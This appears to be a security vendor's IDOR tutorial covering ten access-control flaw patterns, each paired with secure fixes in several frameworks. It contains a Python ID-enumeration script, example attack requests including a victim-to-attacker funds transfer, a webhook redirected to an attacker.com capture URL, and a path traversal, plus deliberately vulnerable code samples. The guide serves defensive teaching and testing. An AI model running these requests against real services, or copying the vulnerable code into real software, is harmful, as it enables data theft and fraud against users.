IDOR Hunting Guide: 10 Patterns, Real Payloads & Testing Techniques (2026)
IDOR — The #1 Vulnerability That Automated Scanners Miss
Insecure Direct Object Reference (IDOR) — classified as OWASP A01: Broken Access Control and OWASP API1: Broken Object Level Authorization (BOLA) — has been the most exploited vulnerability class since 2021.
What makes IDOR devastating is its simplicity: change a number in a URL, access someone else's data. No injection, no encoding tricks, no special tools — just a browser and curiosity. Yet automated scanners catch less than 5% of IDOR bugs because they cannot understand business logic or authorization intent.
This guide covers 10 distinct IDOR patterns, real exploitation payloads, techniques to bypass common defenses, and a systematic testing methodology.
Bug Bounty Context: IDOR accounts for more critical/high payouts on HackerOne and Bugcrowd than any other single vulnerability class. Facebook alone has paid over $2M for IDOR reports.
Table of Contents
- How IDOR Works — The Fundamentals
- Pattern 1: Direct ID Manipulation
- Pattern 2: IDOR in Body Parameters
- Pattern 3: IDOR via File/Path References
- Pattern 4: IDOR in GraphQL Queries
- Pattern 5: IDOR Through Indirect References
- Pattern 6: IDOR in Batch/Bulk Endpoints
- Pattern 7: IDOR via State-Changing Operations
- Pattern 8: IDOR in Webhooks & Callbacks
- Pattern 9: IDOR Through API Versioning
- Pattern 10: IDOR in Export/Report Functions
- Bypassing UUID-Based Defenses
- Systematic Testing Methodology
- IDOR Prevention Patterns by Framework
1. How IDOR Works — The Fundamentals
An IDOR occurs when all three conditions are true:
1. The application uses a client-supplied identifier to look up a resource
2. The identifier is predictable or discoverable
3. No server-side check verifies the requester is authorized to access that resource
The Core Problem: Authentication ≠ Authorization
| Check | Question | Catches |
|---|---|---|
| Authentication | "Who are you?" | Unauthenticated access |
| Authorization | "Are you allowed to access THIS resource?" | IDOR |
Most developers implement authentication correctly but forget authorization at the object level.
Impact by Industry
| Industry | IDOR Risk | Example Impact |
|---|---|---|
| Fintech | Critical | View other users' balances, transactions, tax documents |
| Healthcare | Critical | Access patient medical records, prescriptions, lab results |
| E-commerce | High | View order details, addresses, payment methods |
| SaaS | High | Access other tenants' data, API keys, configurations |
| Social Media | High | View private messages, photos, personal information |
| Education | Medium | Access other students' grades, submissions, evaluations |
2. Pattern 1: Direct ID Manipulation (Classic IDOR)
The simplest and most common pattern. A sequential or predictable ID in the URL path or query parameter.
Vulnerable Endpoint
GET /api/invoices/1001
Authorization: Bearer <user_A_token>
Response: { "id": 1001, "amount": 2500, "customer": "User A", ... }
Exploitation
# Simply change the ID
GET /api/invoices/1002
Authorization: Bearer <user_A_token>
Response: { "id": 1002, "amount": 87000, "customer": "User B", "tax_id": "XXX-XX-1234" }
# User A now sees User B's invoice with their tax ID
Enumeration Script
import requests
headers = {"Authorization": "Bearer <your_token>"}
base_url = "https://api.target.com/api/invoices/"
for invoice_id in range(1, 10000):
resp = requests.get(f"{base_url}{invoice_id}", headers=headers)
if resp.status_code == 200:
data = resp.json()
if data.get("customer") != "Your Name":
print(f"[IDOR] Invoice {invoice_id}: {data['customer']} - " + str(data['amount']))
Vulnerable Code (Node.js)
// ❌ VULNERABLE — no ownership check
router.get('/invoices/:id', auth, async (req, res) => {
const invoice = await Invoice.findById(req.params.id);
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
Secure Code
// ✅ SECURE — ownership enforced in query
router.get('/invoices/:id', auth, async (req, res) => {
const invoice = await Invoice.findOne({
_id: req.params.id,
userId: req.user.id // Only return if user owns it
});
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
3. Pattern 2: IDOR in Body Parameters
Many developers protect URL parameters but forget that request body fields are equally attacker-controlled.
Vulnerable Endpoint
POST /api/profile/update
Content-Type: application/json
Authorization: Bearer <user_A_token>
{
"userId": "user_B_id", ← Attacker changes this
"email": "attacker@evil.com",
"phone": "555-0000"
}
The Problem
// ❌ VULNERABLE — trusts userId from request body
router.post('/profile/update', auth, async (req, res) => {
const { userId, email, phone } = req.body;
await User.findByIdAndUpdate(userId, { email, phone });
res.json({ success: true });
});
The Fix
// ✅ SECURE — userId from JWT, never from request body
router.post('/profile/update', auth, async (req, res) => {
const { email, phone } = req.body;
await User.findByIdAndUpdate(req.user.id, { email, phone });
res.json({ success: true });
});
Where to Look
- Profile update endpoints
- Settings/preferences endpoints
- Password change (changing
userIdin body) - Subscription/billing updates
- Any PUT/PATCH/POST with a user identifier in the body
4. Pattern 3: IDOR via File and Path References
File downloads, document viewers, and media endpoints often reference files by name or path — creating directory traversal + IDOR hybrids.
Vulnerable Endpoints
GET /api/documents/download?file=user_1001/tax_return_2025.pdf
GET /api/attachments/receipt_1001.pdf
GET /api/exports/report-user-42.csv
Exploitation
# Change the user folder
GET /api/documents/download?file=user_1002/tax_return_2025.pdf
# Iterate user IDs
GET /api/documents/download?file=user_1/tax_return_2025.pdf
GET /api/documents/download?file=user_2/tax_return_2025.pdf
# Directory traversal + IDOR combo
GET /api/documents/download?file=../admin/config.json
Vulnerable Code (Python Flask)
# ❌ VULNERABLE — user-controlled file path
@app.route('/api/documents/download')
@login_required
def download_doc():
filename = request.args.get('file')
return send_from_directory(UPLOAD_DIR, filename)
Secure Code
# ✅ SECURE — lookup by DB record with ownership check
@app.route('/api/documents/<doc_id>/download')
@login_required
def download_doc(doc_id):
doc = Document.query.filter_by(
id=doc_id,
user_id=current_user.id # Ownership enforced
).first_or_404()
# Serve from a path the user never controls
return send_from_directory(UPLOAD_DIR, doc.stored_filename)
5. Pattern 4: IDOR in GraphQL Queries
GraphQL's flexibility makes it particularly prone to IDOR because clients specify exactly which data they want — including other users' resources.
Vulnerable Query
# Attacker queries another user's orders
query {
user(id: "other_user_id") {
email
orders {
id
total
items { name, price }
shippingAddress { street, city, zip }
}
paymentMethods {
last4
brand
expiryDate
}
}
}
Nested IDOR via Relationships
# Even if user query is protected, try through relationships
query {
order(id: "order_belonging_to_other_user") {
total
customer {
email
phone
address
}
}
}
Mutations
# Delete another user's data
mutation {
deleteAddress(id: "other_users_address_id") {
success
}
}
# Update another user's settings
mutation {
updateUserSettings(userId: "other_user_id", settings: { isAdmin: true }) {
success
}
}
Defense
// ✅ Authorization in GraphQL resolvers
const resolvers = {
Query: {
user: async (_, { id }, context) => {
// Only allow querying own profile (or admin)
if (id !== context.user.id && !context.user.isAdmin) {
throw new ForbiddenError('Not authorized');
}
return User.findById(id);
},
order: async (_, { id }, context) => {
const order = await Order.findById(id);
if (order.userId !== context.user.id) {
throw new ForbiddenError('Not authorized');
}
return order;
}
}
};
6. Pattern 5: IDOR Through Indirect References
Sometimes the IDOR isn't through a direct resource ID but through a related resource that leaks access.
Scenario: Support Ticket Attachments
# Step 1: User A creates a support ticket with a private attachment
POST /api/tickets
{ "subject": "Billing issue", "attachment": "contract.pdf" }
Response: { "ticketId": 500, "attachmentId": "att_abc123" }
# Step 2: Attacker uses the attachment endpoint directly
GET /api/attachments/att_abc123
# No check if the requester is associated with ticket 500
Scenario: Shared Resource via Invitation Link
# The workspace invitation endpoint reveals member details
GET /api/workspaces/ws_123/members
# Attacker is not a member of ws_123 but the endpoint doesn't check membership
Response: [
{ "email": "ceo@target.com", "role": "owner" },
{ "email": "cfo@target.com", "role": "admin" },
...
]
Scenario: Comment on Another User's Private Resource
POST /api/comments
{
"resourceId": "private_doc_belonging_to_user_B",
"text": "test"
}
# If the server accepts this, it confirms the private resource exists
# AND may give the attacker read access through the comment thread
Defense
- Validate authorization on every resource in the chain, not just the top-level resource
- Attachment access should always verify ticket ownership first
- Comment creation should verify read access to the parent resource
7. Pattern 6: IDOR in Batch/Bulk Endpoints
Bulk APIs that accept arrays of IDs are especially dangerous because a single request can exfiltrate massive amounts of data.
Vulnerable Endpoint
POST /api/users/bulk-export
Content-Type: application/json
Authorization: Bearer <attacker_token>
{
"userIds": ["user_1", "user_2", "user_3", ... "user_10000"]
}
Response: [
{ "id": "user_1", "email": "...", "phone": "...", "ssn": "..." },
{ "id": "user_2", "email": "...", "phone": "...", "ssn": "..." },
...
]
Other Bulk IDOR Patterns
# Bulk delete
DELETE /api/files/bulk
{ "fileIds": ["other_user_file_1", "other_user_file_2"] }
# Bulk status check
POST /api/orders/status
{ "orderIds": ["1001", "1002", "1003", ..., "9999"] }
# Bulk download
POST /api/reports/download
{ "reportIds": ["report_1", "report_2"] }
Defense
// ✅ Filter bulk requests to only owned resources
router.post('/users/bulk-export', auth, async (req, res) => {
const { userIds } = req.body;
// Only allow if requester is admin AND all IDs belong to their organization
if (!req.user.isAdmin) return res.status(403).json({ error: 'Forbidden' });
const users = await User.find({
_id: { $in: userIds },
organizationId: req.user.organizationId // Tenant isolation
});
res.json(users);
});
8. Pattern 7: IDOR via State-Changing Operations
Read-based IDORs get attention, but write/delete IDORs are often more dangerous — they allow attackers to modify or destroy other users' data.
Cancel Another User's Order
POST /api/orders/5001/cancel
Authorization: Bearer <attacker_token>
# Server cancels order 5001 without checking if the attacker owns it
Transfer Funds from Another Account
POST /api/transfers
{
"fromAccount": "victim_account_id",
"toAccount": "attacker_account_id",
"amount": 50000
}
Delete Another User's Files
DELETE /api/files/file_belonging_to_other_user
Authorization: Bearer <attacker_token>
Response: { "success": true, "message": "File deleted" }
Approve/Reject Without Authorization
# HR application — attacker approves their own leave request
POST /api/leave-requests/req_555/approve
Authorization: Bearer <employee_token>
# Server doesn't verify that the requester is the approving manager
Defense
State-changing operations require even stricter authorization than read operations. Verify ownership AND role AND state validity.
9. Pattern 8: IDOR in Webhooks and Callbacks
Webhook configurations often let users specify callback URLs — but sometimes they also expose other users' webhook configurations or let attackers modify them.
Vulnerable Webhook Management
# List another user's webhooks
GET /api/webhooks?userId=other_user
Response: [
{ "id": "wh_1", "url": "https://customer.com/secret-endpoint", "events": ["payment.success"] }
]
# Update another user's webhook URL to attacker's server
PUT /api/webhooks/wh_1
{ "url": "https://attacker.com/capture" }
# Now all payment events go to the attacker
Callback-Based IDOR
# Payment callback with predictable reference
GET /api/payments/callback?ref=PAY-20260001
# Returns payment details including cardholder info
# Attacker iterates: PAY-20260001, PAY-20260002, ...
Defense
- Webhook management must enforce organization/user ownership
- Callback references should use unpredictable tokens, not sequential IDs
- Webhook events should be signed with per-user secrets
10. Pattern 9: IDOR Through API Versioning
Older API versions may lack authorization checks that were added to newer versions. Attackers revert to the old version.
Exploitation
# v2 API has proper authorization
GET /api/v2/users/other_user_id/profile
Response: 403 Forbidden
# v1 API is still running and has no authorization check!
GET /api/v1/users/other_user_id/profile
Response: 200 OK { "email": "...", "phone": "...", "ssn": "..." }
Other Version-Related Bypasses
# Try without version prefix
GET /api/users/other_user_id/profile
# Try internal/beta versions
GET /api/internal/users/other_user_id/profile
GET /api/beta/users/other_user_id/profile
# Try different content types
GET /api/v2/users/other_user_id/profile
Accept: application/xml
# XML endpoint may have weaker controls than JSON
Defense
- Deprecate and decommission old API versions — don't leave them running
- Apply the same authorization middleware across all API versions
- Audit internal/beta/staging endpoints with the same rigor as production
11. Pattern 10: IDOR in Export and Report Functions
Export and reporting endpoints are goldmines for IDOR because they often return large datasets with minimal access controls.
Vulnerable Endpoints
# Export user data as CSV
GET /api/users/other_user_id/export?format=csv
# Download monthly report
GET /api/reports/monthly/2026-03?orgId=other_org_id
# Generate PDF invoice
GET /api/invoices/INV-9999/pdf
# Returns a full invoice PDF with billing details
Why Exports Are Especially Dangerous
- Bulk data — a single IDOR in an export can leak thousands of records
- Rich data — exports often include fields not shown in the UI (SSN, full address, internal notes)
- Cached files — exported files may be stored with predictable filenames
- Background jobs — export jobs may use a predictable job ID that anyone can poll
Cached Export IDOR
# User A requests an export
POST /api/exports
Response: { "exportId": "exp_1001", "status": "processing" }
# Later, the export file is accessible at a predictable URL
GET /api/exports/exp_1001/download
# Attacker requests exp_1002, exp_1003, etc.
Defense
- Enforce ownership/membership on all export endpoints
- Use signed, time-limited download URLs instead of predictable paths
- Include only the minimum necessary fields in exports
12. Bypassing UUID-Based Defenses
Many teams switch from sequential integers to UUIDs thinking it solves IDOR. It doesn't. UUIDs make enumeration harder but don't provide authorization.
How Attackers Discover UUIDs
| Source | Technique |
|---|---|
| API responses | Other endpoints leak UUIDs in their response bodies |
| URL sharing | Shared links contain resource UUIDs |
| WebSocket messages | Real-time notifications include resource IDs |
| HTML source | UUIDs embedded in data attributes, hidden fields |
| Referer headers | Previous page URL contains UUID |
| Log files | Error messages or debug output leak UUIDs |
| Email notifications | "View your order" links contain order UUID |
| S3 bucket listings | Misconfigured cloud storage exposes file UUIDs |
UUID Harvesting Example
# Step 1: List endpoint leaks other users' IDs
GET /api/team/members
Response: [
{ "id": "550e8400-e29b-41d4-a716-446655440001", "name": "Alice" },
{ "id": "550e8400-e29b-41d4-a716-446655440002", "name": "Bob" }
]
# Step 2: Use harvested UUID to access Bob's private data
GET /api/users/550e8400-e29b-41d4-a716-446655440002/settings
Response: { "email": "bob@company.com", "apiKey": "sk-live-..." }
The Truth About UUIDs and IDOR
UUIDs provide: Obscurity (hard to guess)
UUIDs do NOT provide: Authorization (access control)
Security through obscurity is NOT security.
UUIDs should be combined with authorization checks, not replace them.
13. Systematic Testing Methodology
Phase 1: Reconnaissance
- Map all endpoints — use Burp Suite or browser DevTools to capture every API call
- Create two test accounts — User A (attacker) and User B (victim)
- Document all resource IDs — record every ID format (integer, UUID, slug, filename)
- Identify relationships — which resources belong to which users/organizations
Phase 2: Testing Matrix
For every endpoint that accepts a resource identifier, test these scenarios:
| Test | Request | Expected | IDOR If |
|---|---|---|---|
| Own resource | User A requests User A's resource | 200 OK | — |
| Other user's resource | User A requests User B's resource | 403 or 404 | 200 OK |
| Non-existent resource | User A requests fake ID | 404 | — |
| No auth | Request without token | 401 | 200 OK |
| Different role | Low-priv user requests admin resource | 403 | 200 OK |
Phase 3: Targeted Testing
For each endpoint:
1. Capture a legitimate request (your own resource)
2. Replace the resource ID with another user's resource ID
3. Send the modified request
4. Compare response codes and bodies
If you get a 200 with another user's data → IDOR confirmed
If you get a 403 → Authorization is working
If you get a 404 → Could be secure (404 instead of 403 to prevent enumeration)
Phase 4: Advanced Techniques
Parameter Pollution
# Send the same parameter twice
GET /api/orders?id=my_order&id=other_users_order
# Some frameworks take the last value, some take the first
HTTP Method Switching
# GET is protected, but PUT/PATCH/DELETE may not be
GET /api/users/other_id → 403 Forbidden
PUT /api/users/other_id → 200 OK (authorization only on GET!)
Case Sensitivity
# Some frameworks treat these differently
GET /api/Users/123 (capital U)
GET /api/USERS/123 (all caps)
GET /api/users/123 (lowercase — protected)
Changing Response Format
GET /api/users/other_id → 403
GET /api/users/other_id.json → 200 (different handler, no auth check)
GET /api/users/other_id?format=xml → 200
Recommended Tools
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept, modify, and replay requests |
| Autorize (Burp Extension) | Automated IDOR/authorization testing |
| OWASP ZAP | Free proxy with auth testing capabilities |
| Postman | Quick manual testing with collections |
| ffuf / wfuzz | Fuzzing IDs at scale |
| Custom Scripts | Python/Go scripts for bulk enumeration |
14. IDOR Prevention Patterns by Framework
Node.js / Express
// Reusable ownership middleware
const ownsResource = (model) => async (req, res, next) => {
const resource = await model.findOne({
_id: req.params.id,
userId: req.user.id
});
if (!resource) return res.status(404).json({ error: 'Not found' });
req.resource = resource;
next();
};
// Apply to routes
router.get('/invoices/:id', auth, ownsResource(Invoice), (req, res) => {
res.json(req.resource);
});
Django (Python)
# Mixin for ownership enforcement
class OwnershipMixin:
def get_queryset(self):
return super().get_queryset().filter(user=self.request.user)
class InvoiceViewSet(OwnershipMixin, viewsets.ModelViewSet):
serializer_class = InvoiceSerializer
queryset = Invoice.objects.all()
# get_queryset automatically filters to user's own invoices
Ruby on Rails
# Scope all queries through the current user
class InvoicesController < ApplicationController
def show
# current_user.invoices automatically scopes the query
@invoice = current_user.invoices.find(params[:id])
render json: @invoice
rescue ActiveRecord::RecordNotFound
render json: { error: 'Not found' }, status: :not_found
end
end
Spring Boot (Java)
@GetMapping("/invoices/{id}")
public ResponseEntity<Invoice> getInvoice(
@PathVariable Long id,
@AuthenticationPrincipal UserDetails user) {
Invoice invoice = invoiceRepository
.findByIdAndUserId(id, user.getId())
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
return ResponseEntity.ok(invoice);
}
Go (Gin)
func GetInvoice(c *gin.Context) {
invoiceID := c.Param("id")
userID := c.GetString("userId") // From auth middleware
var invoice Invoice
result := db.Where("id = ? AND user_id = ?", invoiceID, userID).First(&invoice)
if result.Error != nil {
c.JSON(404, gin.H{"error": "Not found"})
return
}
c.JSON(200, invoice)
}
IDOR Prevention Checklist
[ ] Every endpoint that accepts a resource ID enforces ownership
[ ] Authorization checks happen server-side, never client-side only
[ ] User ID comes from the session/token, never from the request body
[ ] Bulk/batch endpoints validate ownership for ALL requested IDs
[ ] File download endpoints use DB lookups, not user-supplied paths
[ ] GraphQL resolvers have authorization checks on every type/field
[ ] Old API versions have the same authorization as current versions
[ ] Export/report endpoints enforce organization/user scoping
[ ] UUIDs are used IN ADDITION to authorization, not instead of it
[ ] Internal/admin endpoints require role-based access, not just authentication
[ ] 404 (not 403) is returned for unauthorized resources (prevent enumeration)
[ ] Automated authorization tests exist in CI/CD pipeline
Key Takeaways
- IDOR is #1 for a reason — it's everywhere, easy to exploit, and invisible to automated scanners
- 10 patterns, not 1 — IDOR goes far beyond "change the ID in URL". Bulk endpoints, GraphQL, exports, webhooks, and body parameters are equally vulnerable
- UUIDs don't fix IDOR — they add obscurity, not authorization. UUIDs leak through API responses, emails, WebSockets, and HTML source
- Write IDORs are worse than read IDORs — deleting data, canceling orders, or modifying settings causes direct business harm
- Test with two accounts — the simplest and most effective testing technique is making requests with User A's token for User B's resources
- Scope queries through the user — the most reliable prevention is filtering database queries by the authenticated user's ID at the ORM level
- Manual code review catches what scanners miss — authorization logic requires human understanding of business rules
Professional IDOR Testing
IDOR is the #1 vulnerability we find in secure code reviews. Our team manually tests every endpoint for authorization flaws — something automated scanners cannot do reliably.
Request a Free Consultation → | View Our Penetration Testing Service →
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
Secure API Design Patterns: A Developer's Guide
Learn the essential security patterns every API developer should implement, from authentication to rate limiting.
XSS (Cross-Site Scripting) Prevention: Complete Guide 2025
Learn to prevent Stored, Reflected, and DOM-based XSS attacks. Includes real examples, OWASP prevention strategies, and Content Security Policy implementation.
JWT Security: Vulnerabilities, Best Practices & Implementation Guide
Comprehensive JWT security guide covering token anatomy, common vulnerabilities, RS256 vs HS256, refresh tokens, and secure implementation patterns.